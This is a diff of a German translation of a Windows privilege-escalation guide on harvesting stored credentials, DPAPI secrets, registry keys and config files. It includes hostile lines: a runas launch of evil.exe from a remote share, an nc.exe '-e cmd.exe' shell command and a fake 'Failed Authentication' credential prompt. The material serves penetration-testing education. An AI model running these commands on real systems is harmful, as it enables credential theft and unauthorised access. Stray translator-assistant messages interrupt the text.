irgendwie **mit dem Credential Manager austauschen und die Anmeldeinformationen für diese Ressource** aus dem Standard-Speichervault anfordern. +Wenn Anwendungen nicht mit dem Credential Manager interagieren, halte ich es für unwahrscheinlich, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden können. Wenn deine Anwendung also den Vault nutzen will, sollte sie auf irgendeine Weise **mit dem Credential Manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern** aus dem Standard-Speicher-Vault. -Verwende den `cmdkey`, um die auf der Maschine gespeicherten Anmeldeinformationen aufzulisten. +Verwende `cmdkey`, um die auf dem Rechner gespeicherten Anmeldeinformationen aufzulisten. ```bash cmdkey /list Currently stored credentials: @@ -750,49 +748,49 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Anschließend können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Im folgenden Beispiel wird ein remote binary über einen SMB share aufgerufen. +Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft ein entferntes Binary über einen SMB-Share auf. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Verwendung von `runas` mit einem bereitgestellten Satz von Anmeldedaten. +Verwendung von `runas` mit einem bereitgestellten Satz von Anmeldeinformationen. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Beachte, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), oder vom [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Beachte, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), oder das [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) verwendet werden können. ### DPAPI -Die **Data Protection API (DPAPI)** stellt eine Methode zur symmetrischen Verschlüsselung von Daten bereit, die vorwiegend im Windows-Betriebssystem für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das maßgeblich zur Entropie beiträgt. +Die **Data Protection API (DPAPI)** bietet eine Methode zur symmetrischen Verschlüsselung von Daten und wird vorwiegend im Windows-Betriebssystem zur symmetrischen Verschlüsselung asymmetrischer privater Schlüssel verwendet. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das wesentlich zur Entropie beiträgt. -**DPAPI ermöglicht die Verschlüsselung von Schlüsseln mittels eines symmetrischen Schlüssels, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung nutzt es die Domain-Authentifizierungsgeheimnisse des Systems. +**DPAPI ermöglicht die Verschlüsselung von Schlüsseln mittels eines symmetrischen Schlüssels, der aus den Login-Geheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung verwendet es die Domänen-Authentifizierungsgeheimnisse des Systems. -Verschlüsselte Benutzer-RSA-Schlüssel, die mittels DPAPI geschützt sind, werden im Verzeichnis `%APPDATA%\Microsoft\Protect\{SID}` gespeichert, wobei `{SID}` den [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) des Benutzers darstellt. **Der DPAPI-Schlüssel, der zusammen mit dem Master-Schlüssel, der die privaten Schlüssel des Benutzers in derselben Datei schützt, abgelegt ist**, besteht typischerweise aus 64 bytes Zufallsdaten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist, sodass dessen Inhalt nicht mit dem `dir`-Befehl in CMD aufgelistet werden kann, wohl aber mit PowerShell.) +Mit DPAPI verschlüsselte Benutzer-RSA-Schlüssel werden im Verzeichnis %APPDATA%\Microsoft\Protect\{SID} gespeichert, wobei {SID} den [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) des Benutzers repräsentiert. **Der DPAPI-Schlüssel, zusammen mit dem Master-Schlüssel, der die privaten Schlüssel des Benutzers in derselben Datei schützt,** besteht typischerweise aus 64 Bytes zufälliger Daten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist, wodurch eine Auflistung seines Inhalts mit dem `dir`-Befehl in CMD verhindert wird, obwohl es über PowerShell aufgelistet werden kann). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Du kannst das **mimikatz module** `dpapi::masterkey` mit den entsprechenden Argumenten (`/pvk` oder `/rpc`) verwenden, um es zu entschlüsseln. -Die **credentials files protected by the master password** befinden sich normalerweise in: +Die **Credentials-Dateien, die durch das Master-Passwort geschützt sind**, befinden sich normalerweise in: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Du kannst **mimikatz module** `dpapi::cred` mit dem passenden `/masterkey` verwenden, um zu entschlüsseln.\ -Du kannst **extract many DPAPI** **masterkeys** aus **memory** mit dem `sekurlsa::dpapi` module extrahieren (wenn du root bist). +Du kannst das **mimikatz module** `dpapi::cred` mit dem entsprechenden `/masterkey` zum Entschlüsseln verwenden.\ +Du kannst **viele DPAPI** **masterkeys** aus **memory** mit dem `sekurlsa::dpapi` module extrahieren (wenn du root bist). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell-Anmeldeinformationen +### PowerShell Credentials -**PowerShell-Anmeldeinformationen** werden häufig für **Skript- und Automatisierungsaufgaben** verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können. +**PowerShell credentials** werden häufig für **scripting** und Automatisierungsaufgaben verwendet, um verschlüsselte credentials bequem zu speichern. Die credentials werden mit **DPAPI** geschützt, was typischerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können. -Um eine **PowerShell-Anmeldeinformation** aus der Datei, die sie enthält, zu **entschlüsseln**, kannst du Folgendes tun: +Um eine PS credentials aus der Datei, die sie enthält, zu **decrypt**en, kannst du Folgendes tun: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -817,25 +815,25 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| Sie finden sie unter `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ und in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Kürzlich ausgeführte Befehle +### Zuletzt ausgeführte Befehle ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Remote-Desktop-Anmeldeinformationsverwaltung** +### **Remote Desktop-Anmeldeinformationsverwaltung** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Verwende das **Mimikatz** `dpapi::rdg` Modul mit dem passenden `/masterkey`, um **alle .rdg Dateien zu entschlüsseln**\ -Du kannst mit dem Mimikatz `sekurlsa::dpapi` Modul **viele DPAPI-Masterkeys aus dem Speicher extrahieren** +Verwende das **Mimikatz** `dpapi::rdg` Modul mit dem passenden `/masterkey`, um **beliebige .rdg-Dateien zu entschlüsseln**\ +Du kannst mit dem Mimikatz `sekurlsa::dpapi` Modul **viele DPAPI masterkeys aus dem Speicher extrahieren** ### Sticky Notes -Viele Benutzer verwenden häufig die StickyNotes-App auf Windows-Arbeitsstationen, um **Passwörter zu speichern** und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` und lohnt sich immer, danach zu suchen und sie zu untersuchen. +Viele Benutzer verwenden die StickyNotes-App auf Windows-Workstations, um **Passwörter zu speichern** und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` und es lohnt sich immer, danach zu suchen und sie zu untersuchen. ### AppCmd.exe -**Beachte, dass du zum Wiederherstellen von Passwörtern aus AppCmd.exe Administratorrechte benötigst und das Programm unter einem High Integrity level ausgeführt werden muss.**\ +**Beachte, dass du Administrator sein und AppCmd.exe mit einem High Integrity level ausführen musst, um Passwörter wiederherzustellen.**\ **AppCmd.exe** befindet sich im Verzeichnis `%systemroot%\system32\inetsrv\`.\ Wenn diese Datei existiert, ist es möglich, dass einige **credentials** konfiguriert wurden und **wiederhergestellt** werden können. @@ -919,16 +917,16 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Prüfe, ob `C:\Windows\CCM\SCClient.exe` existiert .\ -Installer werden **mit SYSTEM-Rechten ausgeführt**, viele sind anfällig für **DLL Sideloading (Info von** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Prüfe, ob `C:\Windows\CCM\SCClient.exe` existiert.\ +Installer werden **run with SYSTEM privileges** ausgeführt; viele sind anfällig für **DLL Sideloading (Info von** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Dateien und Registry (Anmeldeinformationen) +## Dateien und Registry (Credentials) -### Putty-Anmeldeinformationen +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -942,15 +940,15 @@ SSH private keys können im Registry-Schlüssel `HKCU\Software\OpenSSH\Agent\Key ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH key. Er ist verschlüsselt gespeichert, kann aber leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\ -Mehr Informationen zu dieser Technik: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er ist verschlüsselt gespeichert, kann jedoch mithilfe von [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) leicht entschlüsselt werden.\ +Mehr Informationen zu dieser Technik hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Systemstart automatisch startet, führen Sie aus: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Es sieht so aus, als wäre diese Technik nicht mehr gültig. Ich habe versucht, einige ssh keys zu erstellen, sie mit `ssh-add` hinzuzufügen und mich per ssh an einer Maschine anzumelden. Der Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat die Verwendung von `dpapi.dll` während der Authentifizierung mit asymmetrischen Schlüsseln nicht festgestellt. +> Es sieht so aus, als sei diese Technik nicht mehr gültig. Ich habe versucht, einige ssh keys zu erstellen, sie mit `ssh-add` hinzuzufügen und mich per ssh auf einer Maschine einzuloggen. Die Registry HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat bei der asymmetrischen Schlüssel-Authentifizierung keine Verwendung von `dpapi.dll` festgestellt. ### Unbeaufsichtigte Dateien ``` @@ -988,7 +986,7 @@ Beispielinhalt: ``` -### SAM & SYSTEM Sicherungen +### SAM & SYSTEM-Sicherungen ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1010,13 +1008,11 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Suche nach einer Datei namens **SiteList.xml** - ### Zwischengespeichertes GPP-Passwort -Es gab früher eine Funktion, die die Bereitstellung benutzerdefinierter lokaler Administratoraccounts auf einer Gruppe von Rechnern über Group Policy Preferences (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, verschlüsselt mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da es Benutzern erhöhte Rechte ermöglichen konnte. +Eine Funktion war früher verfügbar, die die Bereitstellung benutzerdefinierter lokaler Administrator-Konten auf einer Gruppe von Rechnern über Group Policy Preferences (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt waren, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da es Benutzern die Erlangung erhöhter Privilegien ermöglichen konnte. -Zur Minderung dieses Risikos wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein nicht leeres "cpassword"-Feld enthalten. Wird eine solche Datei gefunden, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über das GPP und den Speicherort der Datei, um die Identifizierung und Behebung dieser Sicherheitslücke zu unterstützen. +Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die lokal zwischengespeicherte GPP-Dateien mit einem nicht-leeren "cpassword"-Feld scannt. Wird eine solche Datei gefunden, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details zur GPP und zum Speicherort der Datei und unterstützt so bei der Identifizierung und Behebung dieser Sicherheitslücke. Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (vor Windows Vista)_ for these files: @@ -1032,11 +1028,11 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec verwenden, um die passwords zu erhalten: +Mit crackmapexec die passwords abrufen: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web-Konfiguration +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1050,7 +1046,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Beispiel für eine web.config mit Anmeldeinformationen: +Beispiel einer web.config mit Zugangsdaten: ```xml @@ -1060,7 +1056,7 @@ Beispiel für eine web.config mit Anmeldeinformationen: ``` -### OpenVPN Zugangsdaten +### OpenVPN-Anmeldeinformationen ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1080,7 +1076,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logs +### Protokolle ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1088,9 +1084,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Nach Zugangsdaten fragen +### Nach credentials fragen -Du kannst den Benutzer immer **auffordern, seine Zugangsdaten oder sogar die Zugangsdaten eines anderen Benutzers einzugeben**, wenn du glaubst, dass er sie kennen könnte (beachte, dass das **direkte Fragen** des Clients nach den **Zugangsdaten** wirklich **riskant** ist): +Du kannst den Benutzer immer **bitten, seine credentials oder sogar die credentials eines anderen Benutzers einzugeben**, wenn du denkst, dass er sie kennen könnte (beachte, dass das direkte **Fragen** des Clients nach den **credentials** wirklich **riskant** ist): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1098,9 +1094,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Mögliche Dateinamen, die credentials enthalten** +### **Mögliche Dateinamen, die Anmeldeinformationen enthalten** -Bekannte Dateien, die vor einiger Zeit **passwords** in **clear-text** oder **Base64** enthielten +Bekannte Dateien, die vor einiger Zeit **Passwörter** im **Klartext** oder **Base64** enthalten haben ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1164,7 +1160,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don't have access to your repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the files you want translated), and I will translate the English text to German while preserving all markdown/html syntax and paths. +Ich habe den Inhalt von src/windows-hardening/windows-local-privilege-escalation/README.md nicht. Bitte füge den Dateiinhalt hier ein oder gib genau an, welche Dateien/Begriffe ich in den vorgeschlagenen Dateien durchsuchen soll. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1173,15 +1169,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials in the RecycleBin +### Anmeldeinformationen im Papierkorb -Sie sollten auch den Bin überprüfen, um nach Credentials darin zu suchen +Du solltest außerdem den Papierkorb überprüfen, um darin enthaltene Anmeldeinformationen zu finden -Um **Passwörter wiederherzustellen**, die von verschiedenen Programmen gespeichert wurden, können Sie Folgendes verwenden: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Um **Passwörter wiederherzustellen**, die von verschiedenen Programmen gespeichert wurden, kannst du Folgendes verwenden: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### In der Registry -**Weitere mögliche Registry-Schlüssel mit Credentials** +**Weitere mögliche Registry-Schlüssel mit Anmeldeinformationen** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1192,10 +1188,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Browser-Verlauf -You should check for dbs where passwords from **Chrome or Firefox** are stored.\ -Auch den Verlauf, Lesezeichen und Favoriten der Browser prüfen — möglicherweise sind dort **Passwörter** gespeichert. +Du solltest nach dbs suchen, in denen Passwörter von **Chrome or Firefox** gespeichert sind.\ +Prüfe außerdem den Verlauf, Bookmarks und Favoriten der Browser — vielleicht sind dort einige **passwords are** gespeichert. -Tools to extract passwords from browsers: +Tools zum Extrahieren von Passwörtern aus Browsern: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1204,15 +1200,15 @@ Tools to extract passwords from browsers: ### **COM DLL Overwriting** -**Component Object Model (COM)** ist eine Technologie, die im Windows-Betriebssystem eingebettet ist und die **Kommunikation** zwischen Softwarekomponenten unterschiedlicher Programmiersprachen ermöglicht. Jede COM-Komponente wird **über eine class ID (CLSID) identifiziert** und jede Komponente stellt Funktionalität über ein oder mehrere Interfaces bereit, die über interface IDs (IIDs) identifiziert werden. +Component Object Model (COM) ist eine im Windows-Betriebssystem integrierte Technologie, die die Interkommunikation zwischen Softwarekomponenten in verschiedenen Sprachen ermöglicht. Jede COM-Komponente wird über eine class ID (CLSID) identifiziert und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die über interface IDs (IIDs) identifiziert werden. -COM-Klassen und Interfaces sind in der Registry unter **HKEY\CLASSES\ROOT\CLSID** bzw. **HKEY\CLASSES\ROOT\Interface** definiert. Diese Registry entsteht durch das Zusammenführen von **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM-Klassen und -Schnittstellen werden in der Registry unter **HKEY\CLASSES\ROOT\CLSID** bzw. **HKEY\CLASSES\ROOT\Interface** definiert. Diese Registry entsteht durch das Zusammenführen von **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Innerhalb der CLSIDs dieser Registry findet man den Unterschlüssel **InProcServer32**, der einen **default value** enthält, der auf eine **DLL** zeigt, sowie einen Wert namens **ThreadingModel**, der **Apartment** (einzelner Thread), **Free** (mehrere Threads), **Both** (ein- oder mehrthreaded) oder **Neutral** (thread-neutral) sein kann. +Innerhalb der CLSIDs dieser Registry findest du den Unterschlüssel **InProcServer32**, der einen **default value** enthält, der auf eine **DLL** zeigt, sowie einen Wert namens **ThreadingModel**, der **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) oder **Neutral** (Thread Neutral) sein kann. ![](<../../images/image (729).png>) -Im Grunde gilt: Wenn Sie eine der auszuführenden **DLLs überschreiben** können, könnten Sie die **Privilegien eskalieren**, falls diese DLL von einem anderen Benutzer ausgeführt wird. +Im Grunde gilt: Wenn du eine der DLLs überschreiben kannst, die ausgeführt werden, könntest du Privilegien eskalieren, falls diese DLL von einem anderen Benutzer ausgeführt wird. Um zu lernen, wie Angreifer COM Hijacking als Persistenzmechanismus verwenden, siehe: @@ -1221,15 +1217,15 @@ Um zu lernen, wie Angreifer COM Hijacking als Persistenzmechanismus verwenden, s com-hijacking.md {{#endref}} -### **Generische Passwortsuche in Dateien und Registry** +### **Generic Password search in files and registry** -**Nach Dateiinhalten suchen** +**Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Nach einer Datei mit einem bestimmten Dateinamen suchen** +**Suche nach einer Datei mit einem bestimmten Dateinamen** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1242,13 +1238,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Tools, die nach Passwörtern suchen +### Tools, die nach passwords suchen -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** Plugin. Ich habe dieses Plugin erstellt, um **automatically execute every metasploit POST module that searches for credentials** auf dem Opfer auszuführen.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) durchsucht automatisch alle Dateien, die Passwörter enthalten und auf dieser Seite erwähnt werden.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf** Plugin. Ich habe dieses Plugin erstellt, um **automatisch jedes metasploit POST module auszuführen, das nach credentials sucht** im Opfer.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die passwords enthalten, die auf dieser Seite erwähnt werden.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um passwords aus einem System zu extrahieren. -Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) durchsucht **sessions**, **usernames** und **passwords** mehrerer Programme, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) sucht nach **sessions**, **usernames** und **passwords** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1257,30 +1253,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Stell dir vor, dass **ein Prozess, der als SYSTEM läuft, einen neuen Prozess öffnet** (`OpenProcess()`) mit **vollen Rechten**. Derselbe Prozess **erstellt außerdem einen neuen Prozess** (`CreateProcess()`) **mit geringen Privilegien, der jedoch alle offenen Handles des Hauptprozesses erbt**.\ -Wenn du dann **vollen Zugriff auf den wenig privilegierten Prozess** hast, kannst du das **offene Handle zum privilegierten Prozess, das mit `OpenProcess()` erstellt wurde, abgreifen** und einen **shellcode** injizieren.\ +Stell dir vor, dass **ein Prozess, der als SYSTEM läuft, mit `OpenProcess()` einen Prozess öffnet** und diesem **volle Zugriffsrechte** gibt. Der gleiche Prozess **erstellt außerdem einen neuen Prozess** (`CreateProcess()`) **mit geringen Rechten, der jedoch alle offenen Handles des Hauptprozesses erbt**.\ +Wenn du dann **vollen Zugriff auf den gering privilegierten Prozess** hast, kannst du das **offene Handle auf den mit `OpenProcess()` geöffneten privilegierten Prozess** übernehmen und **Shellcode injizieren**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Shared memory segments, referred to as **pipes**, enable process communication and data transfer. +Gemeinsame Speichersegmente, sogenannte **pipes**, ermöglichen die Kommunikation zwischen Prozessen und den Datenaustausch. -Windows stellt eine Funktion namens **Named Pipes** zur Verfügung, die es unabhängigen Prozessen erlaubt, Daten zu teilen, sogar über unterschiedliche Netzwerke. Dies ähnelt einer Client/Server-Architektur, mit Rollen definiert als **named pipe server** und **named pipe client**. +Windows bietet die Funktion **Named Pipes**, mit der nicht verwandte Prozesse Daten austauschen können, sogar über verschiedene Netzwerke. Das ähnelt einer Client/Server-Architektur, mit den Rollen **named pipe server** und **named pipe client**. -Wenn Daten von einem **client** durch eine pipe gesendet werden, kann der **server**, der die pipe eingerichtet hat, die Fähigkeit haben, die **Identität** des **client** anzunehmen, vorausgesetzt er besitzt die nötigen **SeImpersonate**-Rechte. Das Identifizieren eines **privilegierten Prozesses**, der über eine pipe kommuniziert, die du nachahmen kannst, bietet die Möglichkeit, **höhere Privilegien** zu erlangen, indem du die Identität dieses Prozesses annimmst, sobald er mit der von dir eingerichteten pipe interagiert. Anleitungen zum Ausführen eines solchen Angriffs findest du [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system). +Wenn Daten durch eine Pipe von einem **client** gesendet werden, kann der **server**, der die Pipe eingerichtet hat, die **Identität** des **client** annehmen, vorausgesetzt, er besitzt die notwendigen **SeImpersonate**-Rechte. Das Identifizieren eines **privilegierten Prozesses**, der über eine Pipe kommuniziert, die du nachahmen kannst, bietet die Möglichkeit, durch Übernahme der Identität dieses Prozesses **höhere Privilegien zu erlangen**, sobald er mit der von dir erstellten Pipe interagiert. Anleitungen für die Durchführung eines solchen Angriffs findest du [**here**](named-pipe-client-impersonation.md) und [**here**](#from-high-integrity-to-system). -Auch 